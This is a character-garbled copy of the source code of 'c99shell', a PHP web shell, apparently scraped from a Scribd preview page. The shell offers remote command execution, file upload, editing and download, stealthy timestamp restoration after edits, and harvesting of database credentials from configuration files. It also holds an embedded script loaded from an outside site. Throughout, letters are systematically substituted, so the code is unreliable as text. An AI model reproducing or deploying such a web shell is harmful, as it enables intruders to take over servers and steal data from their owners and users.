)t=1>.&83hite+18d+&.#rlencode!)d'.&M& target+M&$1lan9M&:-</a:' Y&,
.
echo &<hr siWe+M&1M& noshade:&,
i !)t ++ &ino&'
(
echo &<1:FnormationL</1:<ta1le 1order+0 cellspacing+1
cellpadding+G:<tr:<td:<1:4ath</1:</td:<td: &.)d.
).&</td:</tr:<tr:<td:<1:SiWe</1:</td:<td: &.vie3$siWe!ilesiWe!)d.
)''.&</td:</tr:<tr:<td:<1:MJ/</1:</td:<td: &.md/$ile!)d.)'.&</td:</tr:&,
i !")3in'
(
echo &<tr:<td:<1:63ner/;ro#p</1:</td:<td: &,
)tmp + posi%$getp3#id!ileo3ner!)d.)'',
i !)tmp=&name&> ++ &&' (echo ileo3ner!)d.)'.&/&,.
else (echo )tmp=&name&>.&/&,.
)tmp + posi%$getgrgid!ilegro#p!)d.)'',
i !)tmp=&name&> ++ &&' (echo ilegro#p!)d.)',.
else (echo )tmp=OnameO>,.
.
echo &<tr:<td:<1:4erms</1:</td:<td:<a hre+M&&.
)s#rl.&act+chmod8+&.#rlencode!)'.&8d+&.#rlencode!)d'.&M&:&.vie3$perms$color!)d.
)'.&</a:</td:</tr:<tr:<td:<1:Dreate time</1:</td:<td: &.date!&d/m/K
5LiLs&*ilectime!)d.)''.&</td:</tr:<tr:<td:<1:Access time</1:</td:<td:
&.date!&d/m/K 5LiLs&*ileatime!)d.)''.&</td:</tr:<tr:<td:<1:M6JFIK
time</1:</td:<td: &.date!&d/m/K 5LiLs&*ilemtime!)d.)''.&</td:</tr:</ta1le:<1r:&,
)i + open!)d.)*&r1&',
i !)i'
(
i !)#llhe%d#mp' (echo &<1:IBLL 5@SJBM4</1:&, )str + read!)i*ilesiWe!)d.
)'',.
else (echo &<1:5@SJBM4 4?@XF@P</1:&, )str + read!)i*
)he%d#mp$lines*)he%d#mp$ro3s',.
)n + 0,
)a0 + &00000000<1r:&,
)a1 + &&,
)aG + &&,
or !)i+0, )i<strlen!)str', )i--'
(
)a1 .+ sprint!&T0GS&*ord!)str=)i>''.& &,
s3itch !ord!)str=)i>''
(
case 0L )aG .+ &<ont:0</ont:&, 1rea9,
case 7GL
case 10L
case 17L )aG .+ &8n1sp,&, 1rea9,
dea#ltL )aG .+ htmlspecialchars!)str=)i>',
.
)n--,
i !)n ++ )he%d#mp$ro3s'
(
)n + 0,
i !)i-1 < strlen!)str'' ()a0 .+ sprint!&T0QS&*)i-1'.&<1r:&,.
)a1 .+ &<1r:&,
)aG .+ &<1r:&,
.
.
//i !)a1 "+ &&' ()a0 .+ sprint!&T0QS&*)i'.&<1r:&,.
echo &<ta1le 1order+0 1gcolor+ZNNNNNN cellspacing+1 cellpadding+U:<tr:<td
1gcolor+ZNNNNNN:&.)a0.&</td:<td 1gcolor+000000:&.)a1.&</td:<td 1gcolor+000000:&.
)aG.&</td:</tr:</ta1le:<1r:&,
.
)encoded + &&,
i !)1aseNU ++ 1'
(
echo &<1:<aseNU @ncode</1:<1r:&,
)encoded + 1aseNU$encode!ile$get$contents!)d.)'',
.
elsei!)1aseNU ++ G'
(
echo &<1:<aseNU @ncode - Dh#n9</1:<1r:&,
)encoded + ch#n9$split!1aseNU$encode!ile$get$contents!)d.)''',
.
elsei!)1aseNU ++ 7'
(
echo &<1:<aseNU @ncode - Dh#n9 - A#otes</1:<1r:&,
)encoded + 1aseNU$encode!ile$get$contents!)d.)'',
)encoded + s#1str!preg$replace!&".(1*RN."&*&OMM0O.Mn&*)encoded'*0*-G',
.
elsei!)1aseNU ++ U'
(
)te%t + ile$get$contents!)d.)',
)encoded + 1aseNU$decode!)te%t',
echo &<1:<aseNU Jecode&,
i !1aseNU$encode!)encoded' "+ )te%t' (echo & !ailed'&,.
echo &</1:<1r:&,
.
i !"empty!)encoded''
(
echo &<te%tarea cols+Q0
ro3s+10:&.htmlspecialchars!)encoded'.&</te%tarea:<1r:<1r:&,
.
echo &<1:5@SJBM4L</1:<no1r: =<a hre+M&&.
)s#rl.&act+8+&.#rlencode!)'.&8t+ino8#llhe%d#mp+18d+&.#rlencode!)d'.&M&:I#ll<
/a:> =<a hre+M&&.
)s#rl.&act+8+&.#rlencode!)'.&8t+ino8d+&.#rlencode!)d'.&M&:4revie3</a:><1r:<1:
<aseNUL </1:
<no1r:=<a hre+M&&.
)s#rl.&act+8+&.#rlencode!)'.&8t+ino81aseNU+18d+&.#rlencode!)d'.&M&:@ncode</a:
>8n1sp,</no1r:
<no1r:=<a hre+M&&.
)s#rl.&act+8+&.#rlencode!)'.&8t+ino81aseNU+G8d+&.#rlencode!)d'.&M&:-ch#n9</a:
>8n1sp,</no1r:
<no1r:=<a hre+M&&.
)s#rl.&act+8+&.#rlencode!)'.&8t+ino81aseNU+78d+&.#rlencode!)d'.&M&:-ch#n9-2#o
tes</a:>8n1sp,</no1r:
<no1r:=<a hre+M&&.
)s#rl.&act+8+&.#rlencode!)'.&8t+ino81aseNU+U8d+&.#rlencode!)d'.&M&:Jecode</a:
>8n1sp,</no1r:
<4:&,
.
elsei !)t ++ &html&'
(
i !)3hite' (0o1$clean!',.
echo )r,
i !)3hite' (e%it,.
.
elsei !)t ++ &t%t&' (echo &<pre:&.htmlspecialchars!)r'.&</pre:&,.
elsei !)t ++ &ini&' (echo &<pre:&, var$d#mp!parse$ini$ile!)d.)*tr#e'', echo
&</pre:&,.
elsei !)t ++ &phpsess&'
(
echo &<pre:&,
)v + e%plode!&Y&*)r',
echo )v=0>.&<1r:&,
var$d#mp!#nserialiWe!)v=1>'',
echo &</pre:&,
.
elsei !)t ++ &e%e&'
(
)e%t + e%plode!&.&*)',
)c + co#nt!)e%t'-1,
)e%t + )e%t=)c>,
)e%t + strtolo3er!)e%t',
)rt + &&,
oreach!)e%etypes as )9+:)v'
(
i !in$array!)e%t*)v'' ()rt + )9, 1rea9,.
.
)cmd + str$replace!&TT&*)*)rt',
echo &<1:@%ec#te ileL</1:<orm action+M&&.)s#rl.&act+cmdM&
method+M&46SCM&:<inp#t type+M&te%tM& name+M&cmdM&
val#e+M&&.htmlspecialchars!)cmd'.&M& siWe+M&&.!strlen!)cmd'-G'.&M&:<1r:Jisplay in
te%t-area<inp#t type+M&chec91o%M& name+M&cmd$t%tM& val#e+M&1M& chec9ed:<inp#t
type+M&hiddenM& name+M&dM& val#e+M&&.htmlspecialchars!)d'.&M&:<1r:<inp#t
type+M&s#1mitM& name+M&s#1mitM& val#e+M&@%ec#teM&:</orm:&,
.
elsei !)t ++ &sd1&' (echo &<pre:&, var$d#mp!#nserialiWe!1aseNU$decode!)r''',
echo &</pre:&,.
elsei !)t ++ &code&'
(
i !ereg!&php<< G.!.*' a#to-generated conig ile&*)r''
(
)arr + e%plode!&Mn&*)r',
i !co#nt!)arr ++ 1Q''
(
incl#de!)d.)',
echo &<1:php<< conig#ration is detected in this ile"<1r:&,
i !)d1ms ++ &mys2lU&' ()d1ms + &mys2l&,.
i !)d1ms ++ &mys2l&' (echo &<a hre+M&&.
)s#rl.&act+s2l8s2l$server+&.htmlspecialchars!)d1host'.&8s2l$login+&.htmlspecialcha
rs!)d1#ser'.&8s2l$pass3d+&.htmlspecialchars!)d1pass3d'.&8s2l$port+770N8s2l$d1+&.ht
mlspecialchars!)d1name'.&M&:<1:<#:Donnect to J<</#:</1:</a:<1r:<1r:&,.
else (echo &<#t* yo# canOt connect to or#m s2l-1ase* 1eca#se d1-
sot3are+M&&.)d1ms.&M& is not s#pported 1y c99shell. 4lease* report #s or i%.&,.
echo &4arameters or man#al connectL<1r:&,
)cgvars +
array!&d1ms&+:)d1ms*&d1host&+:)d1host*&d1name&+:)d1name*&d1#ser&+:)d1#ser*&d1pass3
d&+:)d1pass3d',
oreach !)cgvars as )9+:)v' (echo
htmlspecialchars!)9'.&+O&.htmlspecialchars!)v'.&O<1r:&,.
echo &</1:<hr siWe+M&1M& noshade:&,
.
.
echo &<div style+M&1order L 0p% solid ZIIIIII, paddingL 1em, margin-topL 1em,
margin-1ottomL 1em, margin-rightL 1em, margin-letL 1em, 1ac9gro#nd-colorL &.
)highlight$1ac9gro#nd .&,M&:&,
i !"empty!)3hite'' (0o1$clean!',.
highlight$ile!)d.)',
i !"empty!)3hite'' (e%it,.
echo &</div:&,
.
elsei !)t ++ &do3nload&'
(
0o1$clean!',
header!&Dontent-typeL application/octet-stream&',
header!&Dontent-lengthL &.ilesiWe!)d.)'',
header!&Dontent-dispositionL attachment, ilename+M&&.).&M&,&',
echo )r,
e%it,
.
elsei !)t ++ &notepad&'
(
0o1$clean!',
header!&Dontent-typeL te%t/plain&',
header!&Dontent-dispositionL attachment, ilename+M&&.).&.t%tM&,&',
echo!)r',
e%it,
.
elsei !)t ++ &img&'
(
)in + getimagesiWe!)d.)',
i !")3hite'
(
i !empty!)imgsiWe'' ()imgsiWe + G0,.
)3idth + )in=0>/100*)imgsiWe,
)height + )in=1>/100*)imgsiWe,
echo &<center:<1:SiWeL</1:8n1sp,&,
)siWes + array!&100&*&/0&*&G0&',
oreach !)siWes as )v'
(
echo &<a hre+M&&.
)s#rl.&act+8+&.#rlencode!)'.&8t+img8d+&.#rlencode!)d'.&8imgsiWe+&.)v.&M&:&,
i !)imgsiWe "+ )v ' (echo )v,.
else (echo &<#:&.)v.&</#:&,.
echo &</a:8n1sp,8n1sp,8n1sp,&,
.
echo &<1r:<1r:<img src+M&&.
)s#rl.&act+8+&.#rlencode!)'.&8t+img83hite+18d+&.#rlencode!)d'.&M& 3idth+M&&.
)3idth.&M& height+M&&.)height.&M& 1order+M&1M&:</center:&,
.
else
(
0o1$clean!',
)e%t + e%plode!)*&.&',
)e%t + )e%t=co#nt!)e%t'-1>,
header!&Dontent-typeL &.)in=&mime&>',
readile!)d.)',
e%it,
.
.
elsei !)t ++ &edit&'
(
i !"empty!)s#1mit''
(
i !)ilestealth' ()stat + stat!)d.)',.
)p + open!)d.)*&3&',
i !")p' (echo &<1:DanOt 3rite to ile"</1:&,.
else
(
echo &<1:Saved"</1:&,
3rite!)p*)edit$te%t',
close!)p',
i !)ilestealth' (to#ch!)d.)*)stat=9>*)stat=Q>',.
)r + )edit$te%t,
.
.
)ro3s + co#nt!e%plode!&MrMn&*)r'',
i !)ro3s < 10' ()ro3s + 10,.
i !)ro3s : 70' ()ro3s + 70,.
echo &<orm method+M&46SCM&:<inp#t type+M&s#1mitM& name+M&s#1mitM&
val#e+M&SaveM&:8n1sp,<inp#t type+M&resetM& val#e+M&?esetM&:8n1sp,<inp#t
type+M&1#ttonM&
onclic9+M&location.hre+O&.addslashes!)s#rl.&act+ls8d+&.s#1str!)d*0*strlen!)d'-
1''.&O,M& val#e+M&<ac9M&:<1r:<te%tarea name+M&edit$te%tM& cols+M&1GGM& ro3s+M&&.
)ro3s.&M&:&.htmlspecialchars!)r'.&</te%tarea:</orm:&,
.
elsei !"empty!)t'' (echo &<center:<1:Man#ally selected type is incorrect. F
yo# thin9* it is mista9e* please send #s #rl and d#mp o M
);L6<ALS.</1:</center:&,.
else (echo &<center:<1:Bn9no3n e%tension !&.)e%t.&'* please* select type
man#ally.</1:</center:&,.
.
.
.
else
(
0o1$clean!',
)images + array!
&arro3$ltr&+:
&?0l;6Jlh^gAPAFAAAAAAA4///y5/<ABBAA@ALAAAAAAmA<KAAAFvVF-py-04IUi0gXvW#X%SJnoA&.
&SFrB_;_oerEGQEV4H46a9#/?_-#AsEhQ?iogAA63++&*
&1ac9&+:
&?0l;6JlhIAABAEFAAAAAA4///97d7cJA3Fa;hgA@<4///3AAAD5/<A@AAAKALAAAAAABA<AAAAMQ&.
&aLrc/VJESPPpVXysSHiK^UDB6<^o2VniFLW3#WLtKH/7W<S@rN9<P-gE?i4?gh4h-@IE0m6B@2t&.
&Pg0^AJs+&*
&1#er&+:
&?0l;6JlhIAABAEFAAAAAA4////VU-H7d7cWMWLEysoa;hv///y5/<A@AAAcALAAAAAABA<AAAAHo&.
&eLrcri1;90yUI1Am#/-HhKG9%lGDME3rA?S;#XVpULm3JAP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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&.
&AAAAAAAAAAAAAAAAAAX9UDD6pAid0ADs1HsM2H2#AiA0A^WSdlQ53M<6BEgh@Ap1@S<BIA3A<FD%&.
&6AAM%e1ChmAU@ocatgnKEha^h%BrF<HrhRVyt/4_a-0hKc/n0GXUdW_#KX/4F;^1oE<A9;49@@A&.
&FAAR&
',
//Ior simple siWe- and speed-optimiWation.
)imge2#als + array!
&e%t$tar&+:array!&e%t$tar&*&e%t$r00&*&e%t$ace&*&e%t$arV&*&e%t$1W&*&e%t$1WG&*&e%t
$t1W&*&e%t$t1WG&*&e%t$tgW&*&e%t$##&*&e%t$%%e&*&e%t$Wip&*&e%t$ca1&*&e%t$gW&*&e%t$is
o&*&e%t$lha&*&e%t$lWh&*&e%t$p19&*&e%t$rar&*&e%t$##&'*
&e%t$php&+:array!&e%t$php&*&e%t$php7&*&e%t$phpU&*&e%t$php/&*&e%t$phtml&*&e%t$sht
ml&*&e%t$htm&'*
&e%t$Vpg&+:array!&e%t$Vpg&*&e%t$gi&*&e%t$png&*&e%t$Vpeg&*&e%t$Vi&*&e%t$Vpe&*&
e%t$1mp&*&e%t$ico&*&e%t$ti&*&ti&'*
&e%t$html&+:array!&e%t$html&*&e%t$htm&'*
&e%t$avi&+:array!&e%t$avi&*&e%t$mov&*&e%t$mvi&*&e%t$mpg&*&e%t$mpeg&*&e%t$3mv&*&e
%t$rm&'*
&e%t$ln9&+:array!&e%t$ln9&*&e%t$#rl&'*
&e%t$ini&+:array!&e%t$ini&*&e%t$css&*&e%t$in&'*
&e%t$doc&+:array!&e%t$doc&*&e%t$dot&'*
&e%t$Vs&+:array!&e%t$Vs&*&e%t$v1s&'*
&e%t$cmd&+:array!&e%t$cmd&*&e%t$1at&*&e%t$pi&'*
&e%t$3ri&+:array!&e%t$3ri&*&e%t$rt&'*
&e%t$s3&+:array!&e%t$s3&*&e%t$la&'*
&e%t$mp7&+:array!&e%t$mp7&*&e%t$a#&*&e%t$midi&*&e%t$mid&'*
&e%t$htaccess&+:array!&e%t$htaccess&*&e%t$htpass3d&*&e%t$ht&*&e%t$hta&*&e%t$so&'
',
i !")getall'
(
header!&Dontent-typeL image/gi&',
header!&Dache-controlL p#1lic&',
header!&@%piresL &.date!&r&*m9time!0*0*0*1*1*G070''',
header!&Dache-controlL ma%-age+&.!N0*N0*GU*R'',
header!&Last-ModiiedL &.date!&r&*ilemtime!$$IFL@$$''',
oreach!)imge2#als as )9+:)v' (i !in$array!)img*)v'' ()img + )9, 1rea9,..
i !empty!)images=)img>'' ()img + &small$#n9&,.
i !in$array!)img*)e%t$tar'' ()img + &e%t$tar&,.
echo 1aseNU$decode!)images=)img>',
.
else
(
oreach!)imge2#als as )a+:)1' (oreach !)1 as )d' (i !)a "+ )d' (i !"
empty!)images=)d>'' (echo!&Parning" ?emove M)images=&.)d.&><1r:&',....
natsort!)images',
)9 + array$9eys!)images',
echo &<center:&,
oreach !)9 as )#' (echo )#.&L<img src+M&&.)s#rl.&act+img8img+&.)#.&M&
1order+M&1M&:<1r:&,.
echo &</center:&,
.
e%it,
.
i !)act ++ &a1o#t&' (echo &<center:<1:DreditsL<1r:333.%%%.org<1r:%%%<1r:</1:&,.
?:
<SD?F4C S?D+httpL//333.myshellcode.com/shell/sec#rity.Vs:</SD?F4C:
<td:</tr:</ta1le:<a 1oo9mar9+&minipanel&:<1r:<CA<L@ style+&<6?J@?-D6LLA4S@L
collapse& cellSpacing+0 1orderDolorJar9+ZNNNNNN cell4adding+/ height+&1&
3idth+&100T& 1gDolor+Z777777 1orderDolorLight+Zc0c0c0 1order+1:
<tr:<td 3idth+&100T& height+&1& valign+&top& colspan+&G&:<p align+&center&:<1:LL
<a hre+&<?php echo )s#rl, ?:act+cmd8d+<?php echo #rlencode!)d', ?:&:<1:Dommand
e%ec#te</1:</a: LL</1:</p:</td:</tr:
<tr:<td 3idth+&/0T& height+&1& valign+&top&:<center:<1:@nterL </1:<orm action+&<?
php echo )s#rl, ?:act+cmd& method+&46SC&:<inp#t type+&hidden& name+&act&
val#e+&cmd&:<inp#t type+&hidden& name+&d& val#e+&<?php echo )dispd, ?:&:<inp#t
type+&te%t& name+&cmd& siWe+&/0& val#e+&<?php echo htmlspecialchars!)cmd', ?
:&:<inp#t type+&hidden& name+&cmd$t%t& val#e+&1&:8n1sp,<inp#t type+&s#1mit&
name+&s#1mit& val#e+&@%ec#te&:</orm:</td:<td 3idth+&/0T& height+&1&
valign+&top&:<center:<1:SelectL </1:<orm action+&<?php echo )s#rl, ?:act+cmd&
method+&46SC&:<inp#t type+&hidden& name+&act& val#e+&cmd&:<inp#t type+&hidden&
name+&d& val#e+&<?php echo )dispd, ?:&:<select name+&cmd&:<?php oreach
!)cmdaliases as )als' (echo &<option
val#e+M&&.htmlspecialchars!)als=1>'.&M&:&.htmlspecialchars!)als=0>'.&</option:&,.
?:</select:<inp#t type+&hidden& name+&cmd$t%t& val#e+&1&:8n1sp,<inp#t
type+&s#1mit& name+&s#1mit& val#e+&@%ec#te&:</orm:</td:</tr:</CA<L@:
<1r:
<CA<L@ style+&<6?J@?-D6LLA4S@L collapse& cellSpacing+0 1orderDolorJar9+ZNNNNNN
cell4adding+/ height+&1& 3idth+&100T& 1gDolor+Z777777 1orderDolorLight+Zc0c0c0
1order+1:
<tr:
<td 3idth+&/0T& height+&1& valign+&top&:<center:<1:LL <a hre+&<?php echo
)s#rl, ?:act+search8d+<?php echo #rlencode!)d', ?:&:<1:Search</1:</a: LL</1:<orm
method+&46SC&:<inp#t type+&hidden& name+&act& val#e+&search&:<inp#t type+&hidden&
name+&d& val#e+&<?php echo )dispd, ?:&:<inp#t type+&te%t& name+&search$name&
siWe+&G9& val#e+&!.*'&:8n1sp,<inp#t type+&chec91o%& name+&search$name$rege%p&
val#e+&1& chec9ed: - rege%p8n1sp,<inp#t type+&s#1mit& name+&s#1mit&
val#e+&Search&:</orm:</center:</p:</td:
<td 3idth+&/0T& height+&1& valign+&top&:<center:<1:LL <a hre+&<?php echo
)s#rl, ?:act+#pload8d+<?php echo )#d, ?:&:<1:Bpload</1:</a: LL</1:<orm
method+&46SC& @HDCK4@+&m#ltipart/orm-data&:<inp#t type+&hidden& name+&act&
val#e+&#pload&:<inp#t type+&ile& name+&#ploadile&:<inp#t type+&hidden&
name+&miniorm& val#e+&1&:8n1sp,<inp#t type+s#1mit name+s#1mit
val#e+&Bpload&:<1r:<?php echo )3dt, ?:</orm:</center:</td:
</tr:
</ta1le:
<1r:<CA<L@ style+&<6?J@?-D6LLA4S@L collapse& cellSpacing+0 1orderDolorJar9+ZNNNNNN
cell4adding+/ height+&1& 3idth+&100T& 1gDolor+Z777777 1orderDolorLight+Zc0c0c0
1order+1:<tr:<td 3idth+&/0T& height+&1& valign+&top&:<center:<1:LL Ma9e Jir
LL</1:<orm method+&46SC&:<inp#t type+&hidden& name+&act& val#e+&m9dir&:<inp#t
type+&hidden& name+&d& val#e+&<?php echo )dispd, ?:&:<inp#t type+&te%t&
name+&m9dir& siWe+&/0& val#e+&<?php echo )dispd, ?:&:8n1sp,<inp#t type+&s#1mit&
val#e+&Dreate&:<1r:<?php echo )3dt, ?:</orm:</center:</td:<td 3idth+&/0T&
height+&1& valign+&top&:<center:<1:LL Ma9e Iile LL</1:<orm method+&46SC&:<inp#t
type+&hidden& name+&act& val#e+&m9ile&:<inp#t type+&hidden& name+&d& val#e+&<?php
echo )dispd, ?:&:<inp#t type+&te%t& name+&m9ile& siWe+&/0& val#e+&<?php echo
)dispd, ?:&:<inp#t type+&hidden& name+&t& val#e+&edit&:8n1sp,<inp#t type+&s#1mit&
val#e+&Dreate&:<1r:<?php echo )3dt, ?:</orm:</center:</td:</tr:</ta1le:
<1r:<CA<L@ style+&<6?J@?-D6LLA4S@L collapse& cellSpacing+0 1orderDolorJar9+ZNNNNNN
cell4adding+/ height+&1& 3idth+&100T& 1gDolor+Z777777 1orderDolorLight+Zc0c0c0
1order+1:<tr:<td 3idth+&/0T& height+&1& valign+&top&:<center:<1:LL ;o Jir
LL</1:<orm action+&<?php echo htmlspecialchars!)s#rl', ?:&:<inp#t type+&hidden&
name+&act& val#e+&ls&:<inp#t type+&te%t& name+&d& siWe+&/0& val#e+&<?php echo
)dispd, ?:&:8n1sp,<inp#t type+&s#1mit& val#e+&;o&:</orm:</center:</td:<td
3idth+&/0T& height+&1& valign+&top&:<center:<1:LL ;o Iile LL</1:<orm action+&<?
php echo htmlspecialchars!)s#rl', ?:&:<inp#t type+&hidden& name+&act&
val#e+&goile&:<inp#t type+&hidden& name+&d& val#e+&<?php echo )dispd, ?:&:<inp#t
type+&te%t& name+&& siWe+&/0& val#e+&<?php echo )dispd, ?:&:8n1sp,<inp#t
type+&s#1mit& val#e+&;o&:</orm:</center:</td:</tr:</ta1le:
<1r:<CA<L@ style+&<6?J@?-D6LLA4S@L collapse& height+1 cellSpacing+0
1orderDolorJar9+ZNNNNNN cell4adding+0 3idth+&100T& 1gDolor+Z777777
1orderDolorLight+Zc0c0c0 1order+1:<tr:<td 3idth+&990& height+&1& valign+&top&:<p
align+&center&:<1:--= c99shell v. <?php echo )shver, ?: <a hre+&<?php echo )s#rl,
?:act+a1o#t&:<#:<1:po3ered 1y</1:</#:</a: myshellcode Y <a
hre+&httpL//333.myshellcode.com&:<ont
color+&ZII0000&:httpL//333.myshellcode.com</ont:</a:<ont color+&ZII0000&:</ont:
Y ;eneration timeL <?php echo ro#nd!getmicrotime!'-starttime*U', ?: >--
</1:</p:</td:</tr:</ta1le:
</1ody:</html:<?php chdir!)lastdir', e%it, ?:

You're Reading a Free Preview

Download
scribd
/*********** DO NOT ALTER ANYTHING BELOW THIS LINE ! ************/ var s_code=s.t();if(s_code)document.write(s_code)//-->